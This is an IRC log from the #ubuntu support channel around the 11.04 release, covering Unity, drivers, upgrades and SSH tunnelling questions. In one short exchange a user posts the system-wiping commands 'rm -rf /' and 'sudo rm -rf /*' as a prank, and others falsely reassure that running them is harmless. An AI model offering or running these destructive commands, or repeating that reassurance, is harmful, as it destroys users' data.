[13:42] <coz_> syn3rgy,  :)   I believe its possible to create a  private folder,, although I have never done this  or needed to,,
[13:42] <TheWubber> can't find them in /home
[13:43] <jrib> TheWubber: check ~/.config/vlc/
[13:43] <Pelo> DJRoby4, it happens that the installer will go all the way to the end but something goes wrong in the install and it won'T boot properly,  in such cases reinstall , using the alternate install cd if possible
[13:43] <syn3rgy> coz_ I guess I could roll with TrueCrypt
[13:43] <coz_> syn3rgy,   you may have to google that one unless,, which I am sure,, someone here knows the procedure
[13:43] <knifepoint> Anyone else having endless focus issues with the unity launcher and window focus? Wondering if there is a fix because if there isn't its pretty sloppy for a final ubuntu release. (I have a feeling it may be one of my compiz plugins though)
[13:43] <ikonia> syn3rgy: not interested in your porn issues, drop it now
[13:43] <TheWubber> jrib: thanks
[13:43] <DJRoby4> #in any case there is another solution?
[13:43] <coz_> syn3rgy,  yeah that one confused me too :)
[13:43] <syn3rgy> ikonia ok how about your bosses work photos?
[13:43] <coz_> syn3rgy,   networking  truecrypt ,, I am a dunce :)
[13:43] <DJRoby4> Pelo, my connection is very slow and if possible I would like to avoid
[13:44] <ikonia> syn3rgy: we can help you with technical issues - just don't be provokative with the topic as you are clearly trying to be
[13:44] <DonDraper> crap! I ran that rm -rf / command.  What do I do now?
[13:44] <Dazzled1> anyone knows where I could ask a question about the Google Chrome PDF plugin (I'm using Ubuntu)
[13:45] <ikonia> DonDraper: nothing - it won't have done anything
[13:45] <NickUK`> DonDraper,  - Reinstall!
[13:45] <ikonia> NickUK`: no
[13:45] <Glycan> Is there a  doing-stuff-for-windows channal?
[13:45] <DonDraper> oh phew
[13:45] <NickUK`> Well it depends if you've ran it as root :P
[13:45] <ikonia> Glycan: ##windows
[13:45] <Glycan> Thanks.
[13:45] <Incarus6> DonDraper, old joke, nothing happend
[13:45] <ikonia> NickUK`: no it doesn't there is a layer of protection within coreutils
[13:45] <coz_> DonDraper,  I hope the command you used was NOT      rm -rf  /
[13:45] <Glycan> So how do you delete all the files in a folder?
[13:45] <ikonia> coz_: stop it
[13:45] <Incarus6> coz_, try it, nothing will happen
[13:45] <syn3rgy> cvs -d$CVSROOT checkout -rOPENBSD_4_8 -P src ports xenocara
[13:45] <coz_> ikonia,  I beg your pardon
[13:46] <ikonia> coz_: "stop it"
[13:46] <NickUK`> Glycan - If you want to delete the contents of a folder you do the rm -f but you do it like for example "rm -f /home/user/folder"
[13:46] <coz_> ikonia,  no  because I dont know what you are talking about
[13:46] <Pelo> DJRoby4, there are to many things that could be responsible during the boot process, Reinstall is the only option that makes sense, you could try just reinsalling again,  from the  cd, don'T boot the live session, just go straith to the installer,  to a 100% clean install, ei whipe the hdd and start from scratch ( obviously you'd have to backup your data)
[13:46] <knifepoint> syn3rgy: http://askubuntu.com/questions/29559/how-can-i-keep-recent-files-from-appearing-in-unity
[13:46] <DonDraper> oh I see, good thing I didn't do sudo rm -rf /*
[13:46] <Glycan> Thjanks.
[13:46] <ikonia> DonDraper: stop putting that command in the channel
[13:46] <DonDraper> oh sorry
[13:46] <Incarus6> DonDraper, nothing will happen. "man rm"
[13:46] <DonDraper> was worried.
[13:46] <syn3rgy> knifepoint thx.
[13:46] <DonDraper> ok
[13:47] <pao> anyone tell me how disable the unity interface on natty narwhal??
[13:47] <zhjawe> Hi,Does anyone know how to install 3D desktop without Internet?
[13:47] <coz_> darn fingers
[13:47] <NickUK`> I've a question here on the upgrade for some reason Ubuntu wont install from my BOOT USB it goes all static on my screen, apt-get dist-upgrade wont upgrade it, running the updater with my Boot USB fails from multiple attempts from multiple downloads.
[13:47] <scott__> I was just wondering why when I install applications from software center, it says "The installation or removal of a software package failed." But when I check, the program was installed anyway.  Is there a setting somewhere I need to tweak to stop that message from appearing?
[13:47] <TheWubber> zhjawe: download the packages from a computer that has internet and transfer them onto the machine
[13:47] <coz_> ikonia,   i am not sure why you want to stop something,, if you meant that command,, I would have expected an explanation as to why
[13:47] <NickUK`> So what else is the best way to upgrade from the Beta of the Ubuntu 11.04 to the latest?
[13:47] <Incarus6> ikonia, as long as they forget the no-preserve-root option..
[13:47] <jrib> !final | NickUK`
[13:47] <ubottu> NickUK`: If you install a development version of Ubuntu Natty and keep up with package updates, then you will be upgraded to the official release of 11.04 when it comes out. To make sure, type « sudo apt-get update && sudo apt-get dist-upgrade » in a console.
[13:47] <ikonia> Incarus6: exactly
[13:47] <atlef> pao, log out and choose ubuntu classic in the bottom panel before you login again
[13:48] <NickUK`> ikonia,  - I've already done that will run it again though
[13:48] <ikonia> NickUK`: done what ?
[13:48] <NickUK`> That command
[13:48] <ikonia> what command ?
[13:48] <NickUK`> The dist upgrade
[13:48] <coz_> oh brother
[13:48] <NickUK`> And updating my apt
[13:48] <zoufeng> yes,what commond?
[13:48] <ikonia> I didn't tell you to do anything ?
[13:48] <NickUK`> jrib sorry :P
[13:49] <zoufeng> no,you donont.
[13:49] <zhjawe> TheWubber:what package is needing?
[13:49] <jrib> NickUK`: what's the output you get from running « sudo apt-get update && sudo apt-get dist-upgrade » ?
[13:49] <NickUK`> I know I'm not upgraded to
[13:49] <NickUK`> Woops
[13:49] <NickUK`> 0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
[13:49] <scott__> I was just wondering why when I install applications from software center, it says "The installation or removal of a software package failed." But when I check, the program was installed anyway.  Is there a setting somewhere I need to tweak to stop that message from appearing?
[13:49] <Fleck> anyone can install fglrx on natty?
[13:49] <jrib> NickUK`: no it's not
[13:49] <jrib> NickUK`: use a pastebin
[13:49] <maxagaz> please, can someone help me to set ssh tunnelling with firefox, I can't manage to make it work, I always get a blank page in firefox, and tcpdump sees nothing related to the pages I'm trying to open with it
[13:50] <bindi> when doing "sudo reboot" or "sudo shutdown -r now", it tells me system going for blabla.. and kills ssh.. yet the computer never reboots, just sits @ black screen. Why?
[13:50] <rozander1> hi guys
[13:50] <ikonia> scott__: it may be talking about a different package, not the one you are trying to install
[13:50] <syn3rgy> I was looking at the core Unity code the other night. Is there a reason that they are not doing this in C ? C++ doses not feel like Linux
[13:50] <dellman> drivers for wireless network card on dell inspiron 1300?
[13:50] <NickUK`> http://pastebin.com/T8ZQSWJ6
[13:50] <rozander1> hmmm ive updated to 11.04, and i have the nvidia evga 570 gtx...and basically i have to boot in safety mode...becouse i dont have the proper driver
[13:51] <ikonia> syn3rgy: are you struggling to grasp this channels topic ?
[13:51] <billy1987> I just want the desktop on 11.04???
[13:51] <syn3rgy> dellman they should be in the Mac stack
[13:51] <ikonia> syn3rgy: stop - check the topic, it's ubuntu support discussion
[13:51] <bindi> maxagaz: did you set http proxy? youre supposed to set SOCKS proxy and nothing else
[13:52] <knifepoint> Anyone have any ideas about my untiy focus issue?
[13:52] <dellman> i have installed 11.04 but wireless network is not detected
[13:52] <maxagaz> bindi, yes, that's what I did
[13:52] <bindi> maxagaz: and what ssh command did you run
[13:52] <scott__> ikonia, when I scrolled through the details, I got this " dpkg: error processing grub-pc (--configure):
[13:52] <scott__>  subprocess installed post-installation script returned error exit status 128" I remember when I did an upgrade from Maverick that it said there was an error with grub-pc
[13:52] <dellman> any ideas apart from being a driver issue?
[13:52] <knifepoint> I am about to revert back to normal gnome metacity if no one has any ideas.
[13:53] <maxagaz> bindi, ssh -D 9999 user@server
[13:53] <maxagaz> bindi, it connects successfully
[13:53] <syn3rgy> dellman the divers you are using should be in mac80211 (kernel) and not in some  ieee80211 stack.
[13:53] <bindi> maxagaz: and then socks proxy localhost:9999?
[13:53] <maxagaz> bindi, yes
[13:53] <bindi> maxagaz: weird, should work..
[13:53] <red> Been a lot of traffic since the release? :)
[13:54] <rozander1> guys any ideaqs if the experiemental 3d driver will fix my ubuntu 11.04 boot issues for graphics driver
[13:54] <red> Big problems?
[13:54] <ikonia> syn3rgy: how is that an ubuntu support comment ?
[13:54] <securetux> Hi! Can someone give me a hand here? I've just upgrade to ubuntu 11.04 but i cant enter in graphical mode. (now Im in low graphics)
[13:54] <gordon_> hello,I'm building lfs6.3 in virtual box, and I've got "VFS: Unable to mount root fs via NFS...", my root fs is reiserfs in /dev/sda1. how to do?
[13:54] <rozander1> securetux
[13:54] <rozander1> are you using nvidia gpu
[13:54] <ikonia> gordon_: join the lfs support channel
[13:54] <maxagaz> bindi, sorry, it works...
[13:54] <bindi> maxagaz: lol :p
[13:54] <securetux> rozander1, no, ati radeon 4520
[13:54] <gordon_> ikonia, thank you
[13:54] <rozander1> i have the same problem with the nvidia 570 gtx
[13:54] <maxagaz> bindi, I've set localhost in the http line instead of the socks line
[13:54] <rozander1> iam tryign to use the 3d experimental graphics driver
[13:55] <rozander1> maybe that will work
[13:55] <bindi> maxagaz: yeah i thought so too :-)
[13:55] <maxagaz> bindi, thanks you very much!
[13:55] <bindi> maxagaz: yw :)
[13:55] <scott__> i actually found something when I did an internet search.  I'll go read that first :D
[13:55] <ozanorhan> Hi again. i removed evolution and installed thunderbird but my indicator is not working with it. when i clicked set up mail nothing happens. and yes i changed preferred app from system menu.
[13:55] <syn3rgy> ikonia maybe because a lot of the kernel work for that part of the stack was done by Me?
[13:55] <securetux> rozander1, Ok can you let me know if it works? :)
[13:55] <syn3rgy> ikonia by the way I am Onryo
[13:55] <rozander1> yah ill let you no
[13:56] <ikonia> syn3rgy: then it's nothing to do with ubuntu - get with the topic "ubuntu support" please
[13:56] <ikonia> so ?
[13:56] <sbp_> when i boot ubuntu 11.04 install cd on my acer aspire 5334 laptop i am able to see a menu askign to try ubuntu or install ubuntu, no matter which i select i just get a black screen.  anybody know a work around?
[13:56] <ZeXx86> Can anybody answer the question http://askubuntu.com/questions/25785/can-auto-hide-for-the-application-menu-be-turned-off-in-unity/38794#38794 ?
[13:57] <jrib> NickUK`: still there?
[13:57] <NickUK`> jrib - Yes, sorry I'm here
[13:57] <jrib> NickUK`: can you pastebin the full output?
[13:57] <syn3rgy> ikonia Ubuntu is a spin off of Debian. "unity" is just a windows manager. In fact We are using GNU/Linux with the flavor Ubuntu 11.04
[13:58] <NickUK`> Yes I did two seconds will re-link it to you.
[13:58] <NickUK`> jrib,  - http://pastebin.com/T8ZQSWJ6
[13:58] <ikonia> syn3rgy: so that has nothing to do with the discussion - this is the last time I'll tell you, #ubuntu is for ubuntu support discussion, please try to get with it
[13:58] <EmuAlert> If I set crontab to run at a specific time and the computer's off then, will it run the next time I turn the computer on?
[13:59] <jrib> NickUK`: that indicates you *are* up to date
[13:59] <NickUK`> That's the thing I know I'm not upto date
[13:59] <jrib> NickUK`: how?
[13:59] <NickUK`> If I plug my BootUSB into my laptop and run Update-Manager it tells me there is an update and trys to install it from the USB.
[13:59] <Diverdude> if I have a sequence like 1,10,4,8,10   how do i plot that with gnu plot from the command line?
[13:59] <NickUK`> But for some reason it chucks errors at me, I cannot install from the USB as the screen turns like static you get from a TV but it doesn't move.
[13:59] <jrib> NickUK`: what update?  Do « apt-cache policy PACKAGE » on the package
[14:00] <knifepoint> It's a shame Unity can't even do something simple like take the window focus...... I have to use the Alt + F1 key combination to get focus. Does anyone know what could be causing this?
[14:00] <nir0> hi guys, after updating ubuntu on my notebook i stacked with starting up. after login pc thinks about nothing for like 10 seconds and says that cannot update .ICEauthority. i tried to adjust rights and ownership of this file - nothing helps
[14:00] <ubuntu-user> do i need to upgrade from maverick to natty?
[14:00] <NickUK`> jrib - Can I pm you I can't read while everyone else is chatting and logging in/out of IRC
[14:01] <ikonia> ubuntu-user: no, you don't "need" to
[14:01] <aliquis> Can't say I've ever ran Ubuntu much, kinda only one version. Anyway, back when the installer was changed from the good old debian one to the new graphical crap the installer didn't work. Now I have a HDD which may end its life so I wanted a LiveDVD and got Knoppix but later also fetched the latest Ubuntu CD so I could install that on some other HDD. But I've tried booting it with noacpi nolacpi and other options but no su
[14:01] <aliquis> ccess. It always crashes either after choosing "try" or "install" or if I choose either from the boot loader as soon as I click the install or firefox icon in the live desktop environment. Machine is an Athlon64 on Via K8T800 motherboard with NV6800LE. Any ideas? I would had been so much happier with a simple installation which actually worked and then try to figure out how to make everything else work than have an instal
[14:01] <aliquis> ler try to make everything work from the beginning, fail and then try to figure out why it fails ..
[14:01] <FloodBot3> aliquis: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[14:01] <ubuntu-user> thnks ikonia
[14:01] <jrib> NickUK`: if you must, but I'd prefer it if we stayed in channel (just read the highlighted text and ignore the rest)
[14:01] <berefeira> anyone have slow ssh and terminal issues?
[14:01] <NickUK`> Alright, that gives 500s on everything can pastebin it for you if you like.
[14:01] <alazyworkaholic> I've a whole set of problems. 1st, I'm using ATI catalyst, (need it) & second I can't get a big red/white '1' in the top left corner to go away.
[14:02] <billy1987> How do i get the desktop cube going on 11.04?
[14:02] <Glycan> How do you make the windows wobbely?
[14:02] <nir0> can anyone help me?
[14:02] <knifepoint> billy1987: install ccsm
[14:03] <billy1987> what is ccsm?
[14:03] <knifepoint> billy1987: Compiz Config Setting Manager lets you tunr on and off the compiz plugins
[14:03] <PurpleSmoke> billy1987,  advanced configuration settings for compiz
[14:03] <PurpleSmoke> you can find it at software center
[14:03] <alazyworkaholic> billy1987: & Glycan: Click power button top right > System Settings > CompizConfig Manager (After installing ccsm)
[14:04] <aliquis> billy1987: https://help.ubuntu.com/community/CompositeManager/CompizFusion ?
[14:04] <pao> alguem fala portugues aqui??
[14:04] <LjL> !br | pao
[14:04] <ubottu> pao: Por favor, use #ubuntu-br para ajuda em português. Para entrar no canal por favor faça "/join #ubuntu-br" sem as aspas. Para a comunidade local portuguêsa, use #ubuntu-pt. Obrigado.
[14:04] <andreas_> hi, i installed gnome 3 (i use nouveau). Everything runs snappy but moving the windows lags a lot. the mouse is much faster than the window moves. Anyone know of this problem?
[14:04] <Onryo> Sigh... a lot of the ppl at FFmpeg, x264, VP8 were moaning that there was no script to install that stuff from git. Well I just wrote one for Natty
[14:04] <Onryo> http://pastebin.com/u/Onryo
[14:05] <Onryo> Even a retard can use that
[14:05] <pao> obrigado
[14:05] <andreas_> (i'm using 11.04)
[14:05] <billy1987> ok i have that but when i go to enable it it says it needs to disable the desktop wall... i click ok and then it says: desktop wa;; provides the feature LARGGEDESKTOP wich is required by the plugins UBUNTU UNITY PLUGIN... shoudl i do that... i am afraid I will break something
[14:05] <andreas_> heard it might have something to do with nouveau and vsync. maybe anyone know how to disable vsync with nouveau?
[14:05] <nir0> my pc is blocked after update and i have no idea how to cure this, plz help
[14:05] <knifepoint> billy1987: depends how much you want the cube :)
[14:06] <billy1987> well whats it do if i disable the wall?
[14:06] <jooiiee> Hi guys! How do i see if i run beta or shipped version??
[14:06] <ikonia> jooiiee: what did you install ?
[14:06] <LjL> jooiiee: if you kept it updated (the automatic updater does that), you're running final
[14:06] <LjL> !final > jooiiee    (jooiiee, see the private message from ubottu)
[14:06] <knifepoint> billy1987: I have the cube running on my unity desktop
[14:06] <bullethead> question about the gnome3 ppa, anyone using it?
[14:06] <billy1987> and there is no problem?
[14:07] <billy1987> everything is the same as it was?
[14:07] <ikonia> bullethead: it's not supported here
[14:07] <LjL> bullethead: better to just ask your question. however, it's not really supported, it's known to break things.
[14:07] <knifepoint> billy1987: lol i am actually trying to fix a window focus issue with unity now but i dont think its related to the cube plugin
[14:07] <jooiiee> ikonia, i installed 10.04 but i uppdated it to 11.04 beta.
[14:07] <ikonia> jooiiee: have you kept it up to date ?
[14:07] <jooiiee> LjL, Thx!
[14:07] <aliquis> Anyone got any ideas what to do if the installer crashes as soon as you click any button or icon (choosing language work but that's all), then the CD spins a little, mouse pointer to, and then it hangs. Additional boot parameters?
[14:07] <jooiiee> ikonia, yepp
[14:07] <billy1987> ok i am going to try it... if my computer catches on fire im blaming you knifepoint
[14:08] <ikonia> jooiiee: then you are running the stable version
[14:08] <andreas_> How can i disable vsync with nouveau driver?
[14:08] <bullethead> what's the global package name for the gnome 3 desktop using the ppa, I know it's not supported sorry, is it gnome3-desktop or something
[14:08] <knifepoint> billy1987: the reason it needs to disable the wall is because you can have ne or the other not both the wall is just the 4 squares instead of the flashy cube
[14:08] <andreas_> bullethead, i just installed it
[14:08] <knifepoint> billy1987: haha i need to publish a disclaimer
[14:08] <andreas_> but i have a problem with laggy window moving
[14:08] <billy1987> yea the largedesktop is what i am worried about
[14:08] <billy1987> i have never heard it say that
[14:08] <andreas_> if i move the window it lags way behind the mouse cursor
[14:08] <LjL> bullethead: it seems to be gnome-desktop3
[14:09] <knifepoint> billy1987: could google the large desktop plugin find out what it does
[14:09] <ZeXx86> andreas_: your drivers arent installed
[14:09] <andreas_> ZeXx86, i'm using nouveau
[14:09] <andreas_> with gallium
[14:09] <andreas_> works pretty snappy but the windows lag bad
[14:10] <andreas_> :(
[14:10] <andreas_> i had problems with the proprietary nvidia driver, it would slow down to a crawl when there were tray icons (empathy for example)
[14:10] <pao> como posso me juntar a comunidade que fala portugues??
[14:11] <LjL> pao: escribe /join #ubuntu-br o /join #ubuntu-pt
[14:11] <ZeXx86> andreas_: I think, nouveau in ubuntu does not provide 3D acceleration
[14:11] <ZeXx86> andreas_: but 2D acceleration should work
[14:11] <andreas_> wel, actually it does ;)
[14:11] <knifepoint> billy1987: Did you enable the cube?
[14:11] <andreas_> seems like my problem is related to vsync being enabled
[14:11] <maddie> Can someone please help me? launcher doesn't remember custom icons!!
[14:11] <andreas_> but i have no clue how to turn it off in nouveau
[14:12] <ZeXx86> andreas_: meybe in xorg.conf but you have to create new one, ubuntu uses automatic configuration
[14:13] <alazyworkaholic> how can I get rid of a big red box with a '1' in the top left corner (using ati). I think I have to use a command-line aticonfig instruction because messing with the aticccle gui it keeps coming back.
[14:13] <maddie> Can someone please help me? launcher doesn't remember custom icons.
[14:13] <maddie> In unity
[14:13] <ark0nza> with 11.04, has anyone had issues with wine application windows disappearing when you try resize / move them?
[14:14] <knifepoint> maddie: I'm having the same problem, I set nvidia settings to be on the launcher and on restart it was only an empty space.
[14:15] <pod88> hello, looking for someone who can help with compiz
[14:15] <maddie> knifepoint for me I just get the default set that comes with a fresh install
[14:15] <kurtul> if nobody in kubuntu room answers, can i ask my kubuntu questions here?
[14:15] <Daniel0108> I have to reinstall my ubuntu, because I messed up my firewall config, even when I flush iptables it's still blocking connections :/ Which version should I install? 10.04, 10.10 or 11.04?
[14:16] <knifepoint> maddie: Oh... that is strange I have the Faenza icon set working on my install.
[14:16] <Daniel0108> I'm running 10.10 now, btw :P
[14:16] <figaccio> hey guys, i'm having a problem regarding hdmi audio with the realtec alc888 codec. Video works fine with HDMI but no audio output... in alsamixer the SPDIF, SPDIF D shows 00 - SPDIF 1 is MM - any suggestions?
[14:16] <knifepoint> maddie: How did you set the icons? Via the appearance app in the setting pane?
[14:16] <maddie> knifepoint that's not the problem - it's the actuall programs I pin to the launcher that get erased upon login
[14:17] <knifepoint> maddie: Oh well yeah thats the same problem as me
[14:17] <maddie> Can someone please help me with my problem?: http://askubuntu.com/questions/38463/launcher-doesnt-remember-custom-icons
[14:18] <shiftingcontrol> i m using ubuntu studio 11.04 it is getting hung in 5 mins after login ,how can i report this bug
[14:18] <maddie> knifepoint I've submitted the question 6 time in different forums and have spent a great deal of time here and still haven't gotten an answer.
[14:18] <phix> wow, The new default UI for Ubuntu is terrible
[14:18] <BlouBlou> phix: then don't use it, choose 'classic-desktop' instead
[14:18] <phix> Who's idea was that?  Did they happen to be a left handed person?
[14:19] <phix> BlouBlou: yeah I am using the classic
[14:19] <LjL> !ot | phix
[14:19] <ubottu> phix: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[14:19] <tatzenblogde> i didn't like unity, too... i changed to kde
[14:19] <pod88> phix, run two displays on the unity desktop, hilarity ensues
[14:19] <BlouBlou> tatzenblogde: why? no need to do it, just don't use it
[14:19] <figaccio> so noone an idea about my hdmi issue?
[14:19] <amarelinho_EMO> ...
[14:19] <knifepoint> maddie: Yeah I'm having no luck with a frustrating window focus issue in unity too... seems to me Unity isn't as complete as it should be.
[14:20] <phix> LjL: No it is a support question, how do can you configure unity?
[14:20] <knifepoint> maddie: Sorry I couldn't help mate.
[14:20] <Seqis> knifepoint, I've already switched to Xubuntu because of this Unity garbage and gnome 3 crap, since Gnome 2.x is dying.
[14:20] <phix> LjL: hi btw! *wave*
[14:20] <LjL> phix: yes, *that* is a support question. unfortunately, i don't know the answer (im not using natty), but i don't think it's very configurable in the first place... not sure
[14:20] <maddie> knifepoint, yeah. to be honest I was pretty enthusiastic about it for a while despite all the complaints from the community. This problem is making it hard to learn to love it.
[14:20] <kjxl9> is there a playstation emulator for xubuntu?
[14:21] <vish> phix: you can change the position of the dock
[14:21] <maddie> knifepoint, it's okay thanks anyways (:
[14:21] <vish> cant*'
[14:21] <tatzenblogde> BlouBlou - you're right. thats what like at ubuntu. but canonical presented a new gui and i tried it :-) i didn't like it... there are a few other desktop-envorinments that i didnt like. the best thing at linux is that i can change
[14:21] <phix> vish: yeah I figured that out my self :)
[14:21] <knifepoint> maddie: Yeah not a fan of either really. Although I was using Docky and gnome-do before which is pretty much unity. Same dev on docky and unity too. Just think its like KDE4 wont be good until a few iterations.
[14:21] <phix> vish: and the minimise, maximise, close button change locations when you have the window maximised or in windowed mode
[14:22] <phix> also the default bluetooth manager is a POS.
[14:22] <vish> phix: that you can change according to the theme
[14:22] <phix> Always fails
[14:22] <maddie> knifepoint, do you think I could somehow replace the launcher with docky in unity?
[14:22] <vish> !buttons > phix
[14:22] <ubottu> phix, please see my private message
[14:23] <pao> does anyone know any backtrack community?
[14:23] <LjL> !backtrack | pao
[14:23] <ubottu> pao: There are some Ubuntu derivatives that we cannot provide support for due to repository and software changes. Please consult their websites for more information. Examples: gNewSense (support in #gnewsense), Linux Mint (see !mint), LinuxMCE (support in #linuxmce), CrunchBang (support in #crunchbang), BackTrack (support in #backtrack-linux), Ultimate Edition
[14:23] <ikonia> pao: you've been told 3 times - #backtrack-linux is the correct channel
[14:23] <knifepoint> maddie: Nah unity is the window manager. You'd have to go back to using metacity and then install docky. Which isn't really a bad move because it worked without fail in 10.10.
[14:23] <daniel3> What does 11.04 use? Gnome 3 or Unity, or is that the same thing?
[14:23] <LjL> kjxl9: i don't think you'd need specifically one for Xubuntu. i don't know which ones there are around, but i think "apt-cache search playstation" and "apt-cache search psx" will show you some
[14:23] <knifepoint> daniel3: It uses unity
[14:24] <maddie> knifepoint, alright thanks for the advice
[14:24] <knifepoint> daniel3: gnome shell (in gnome 3) is a competing window manager
[14:24] <maddie> knifepoint, hope you get your problem solved too
[14:24] <daniel3> hrm
[14:24] <knifepoint> maddie: i think ill solve it be removing unity ;)
[14:24] <daniel3> Im really regretting upgrading to Natty :\. I just cant seem to get anything working right now.
[14:25] <daniel3> I use Kubuntu, but I can determine if its KDE or Ubuntu that is causing problems. Im having kernel panics, settings dont work, sketchy networking functions.
[14:25] <happolati> after upgrading to 11.04 my mouse is not uncluttered anymore, but it kinda flutters on and of. this raises windows accidentally sometimes.
[14:26] <daniel3> How can I downgrade kernels, the package isnt available in natty.
[14:26] <rozander1> hi guys can someone tell me how i turn on the 11.04 effects
[14:26] <rozander1> i have 11.04 just updated but my desktops the same
[14:28] <daniel3> happolati, is this on a notebook?
[14:28] <shiftingcontrol> If my system hungs how can i report to launchpad ?
[14:29] <LjL> daniel3: you can't without compiling it or installing an old .deb, and neither of those is a good idea
[14:29] <alazyworkaholic> anyone have trouble running LGP's X3 game on 64 bit?
[14:35] <iomega> ciao
[14:35] <iomega> xdcc lista
[14:36] <Fudge> gday any known problems on i850 chipset that would stop someone typing user and pass into a console. apparently when my friend gets prompted for user/pass he cant input anything.
[14:37] <penguin42> Fudge: Is it just completely hung at that point - is there anything he can do?
[14:37] <Chapun> Bruniolos, está aí?
[14:38] <rgr> Fudge: an old thinkpad?
[14:38] <Fudge> penguin42  not sure exactly mate, apparently the keyboard is unresponsive, but i think he can switch back to gnom etc
[14:38] <Fudge> its a del
[14:38] <penguin42> Fudge: A good one to check is whether something like capslock turns the light on/off
[14:38] <vrln> how can I install KDE on Ubuntu 11.04? the old kde-desktop meta package seems to be removed now
[14:38] <rgr> Fudge: you mean his keyboard works outside of the login dialog?
[14:38] <mah454> I have problem with printer in ubuntu-11.04 . i can not publish printer . receive this message "not published see server setting"
[14:38] <aeon-ltd> !kde | vrln
[14:38] <ubottu> vrln: KDE (http://kde.org) is the !desktop environment used natively in !Kubuntu. To install from Ubuntu: « sudo apt-get install kubuntu-desktop », or see http://help.ubuntu.com/community/InstallingKDE . See http://kubuntu.org for more information.
[14:38] <mah454> I have problem with printer in ubuntu-11.04 . i can not publish printer . receive this message "not published see server setting"
[14:39] <joseolos> Bruniolos, está aí?
[14:39] <BlouBlou> English please
[14:39] <ubuntu> Hey
[14:40] <mah454> i can not publish printer . receive this message "not published see server setting"
[14:40] <rgr> Fudge: does Ctl-Alt-f1 work for example?
[14:40] <vrln> aeon-ltd, thanks! I was browsing with software center and it turns out the package is not shown there - worked fine with apt-cache show kde-desktop
[14:40] <Fudge> rgr  yes, penguin42  ive ust suggested that on email
[14:40] <Fudge> unfortunately he is on a mailing list so have to wait reply.
[14:41] <rgr> anyone upgrading to Natty needs their head examining if they need their PC IMO.
[14:41] <vrln> one last question though, if I install the kde-desktop meta-package, will it override the current boot and start animations/login manager?
[14:41] <vrln> at least when I tried the beta it replaced all those
[14:42] <Glowball> Can I set two different shortcuts for the same action? I have a touch thingie for controlling sound, but I also want Fn-up and Fn-down as shortcuts for my volume. Is this possible without overriding the touch controls?
[14:42] <OY1R> Im on Ubuntu 8.04 liveCD any way i can download 10 and make a persistant USB drive of 10.10(while running 8.04 liveCD)
[14:42] <needlez> rgr?? explain... besides a few minor bugs im finding it to be not that bad now that I didn't a clean install, but did an upgrade from a clean install from 10.10 and so far so good, just need to resize some graphics issue that i had prior in 10.10
[14:43] <klingan> Hello everybody! I'm new to Ubuntu, therefor I ask this rookie-question: I have just installed VirtualBox and I want to edit my icon for my Windows7-shortcut to my *.vdi-file. Where are the application-based icons stored?
[14:43] <damadprof> Having problems with no sound in the game Nexuiz, audio is fine apart from this game and I am getting addicted!
[14:44] <LjL> uhm... does apt-cache in natty not search inside package descriptions by default anymore?
[14:44] <wm_eddie> klingan: Right click on the vdi and select roperties.  The icon that you see in the Proprties window is a button. Click on it to customize the icon.
[14:44] <needlez> /usr/share/icons
[14:45] <haroon> due to some issue in NM 11.04 I connected with wireless using wicd network manager and empathy and ubuntu one refuse to connected. Any workaround
[14:45] <klingan> wm_eddie: Yes, I have done that. Now I just need to find the path to where Virtual Box stores its icons.
[14:45] <needlez> klingan: /usr/share/icons/ in there should be gnome and others thats the only folder i know of that has the application icons
[14:45] <klingan> wm_eddie: The shortcut had an icon earlier, but it got removed, somehow.
[14:46] <wm_eddie> Also /usr/share/pixmaps/
[14:46] <klingan> Is there a way to search the entire filesystem (root) for a specific file name?
[14:46] <LjL> klingan: find / -name blah
[14:47] <Kicchiri> How do I turn on seeing hidden files when browsing home folders in... the program doesn't even say its name anymore, let alone any options o.o
[14:47] <haroon> due to some issue in NM 11.04 I connected with wireless using wicd network manager and empathy and ubuntu one refuse to connected. Any workaround
[14:48] <haroon> kicchiri:their is option in menu bar-view menu show hidden files
[14:48] <BitOperator> Hi, when one is shelled into ubuntu server; how can I launch a process in such a way that it continues to run after I log out ?
[14:48] <Kicchiri> Yea, just that I can't find the menu bar ever since I upgraded to 11.4
[14:48] <LjL> !screen > BitOperator
[14:48] <ubottu> BitOperator, please see my private message
[14:48] <OY1R> anyone ?
[14:48] <BitOperator> Thanks
[14:49] <Kicchiri> Aaaah
[14:49] <haroon> kicchiri : maximize you window
[14:49] <Kicchiri> It's the global thing! Lol wut
[14:49] <LjL> OY1R: what's the question?
[14:49] <haroon> tool bar will appear
[14:49] <bullgard4> OY1R: No.
[14:50] <web_knows> hi, btw
[14:50] <OY1R> ljL Im on Ubuntu 8.04 liveCD any way i can download 10 and make a persistant USB drive of 10.10(while running 8.04 liveCD)
[14:50] <escott> klingan, locate
[14:50] <haroon> due to some issue in NM 11.04 I connected with wireless using wicd network manager and empathy and ubuntu one refuse to connected. Any workaround
[14:50] <Kicchiri> It's there in window mode as well, just at the total top of the screen mixed with unique buttons... Now THAT's an unintuitive change in design... oh well
[14:51] <OY1R> 7J #hamradio
[14:51] <LjL> OY1R: not sure about persistant. you can certainly use netbootin to make a live USB image... but persistant i have my doubts
[14:51] <BitOperator> Awsome works good, thanks LjL.
[14:51] <LjL> unetbootin*
[14:51] <kad_> hey!! how i can clear the recent open images from file and search on ubuntu 11.04 ? thx
[14:51] <Dazzled1> dang it, not enough space left for NN :(
[14:51] <ThinkT510> !usb | OY1R
[14:51] <ubottu> OY1R: For information about installing Ubuntu from USB flash drives, see https://help.ubuntu.com/community/Installation/FromUSBStick - For a persistent live USB install, see: https://wiki.ubuntu.com/LiveUsbPendrivePersistent
[14:52] <escott> kad_, you can sorta delete stuff from gnome-activity-journal but that feature is a few months out
[14:52] <LjL> OY1R: although you could always start the live CD in a virtual machine using vbox or something, and do a standard install onto USB from there. i don't see why that shouldn't work
[14:54] <LjL> OY1R: ah, actually the ubottu link seems to say that with usb-creator-gtk (which is available in Hardy), you can choose an arbitrary ISO to install from. so that may work.
[14:54] <Fragy> hi. After upgrading to 11.4 I get: error out of disk on hd0. Press any key.     Why is that? After I press enter it boots up normal.
[14:54] <iiprotocolii> Hey all.
[14:54] <klingan> klingan, locate
[14:54] <klingan> escott: What?  > "klingan, locate"
[14:55] <escott> klingan, `locate filename` to search the filesystem
[14:55] <iiprotocolii> I've tested the compilers (g++ and gcc) and can't compile anything. I receive the following error: "gcc: error trying to exec 'cc1': execvp: No such file or directory
[14:55] <kad_> escott, i have installed it, but i can't open it , it output errors
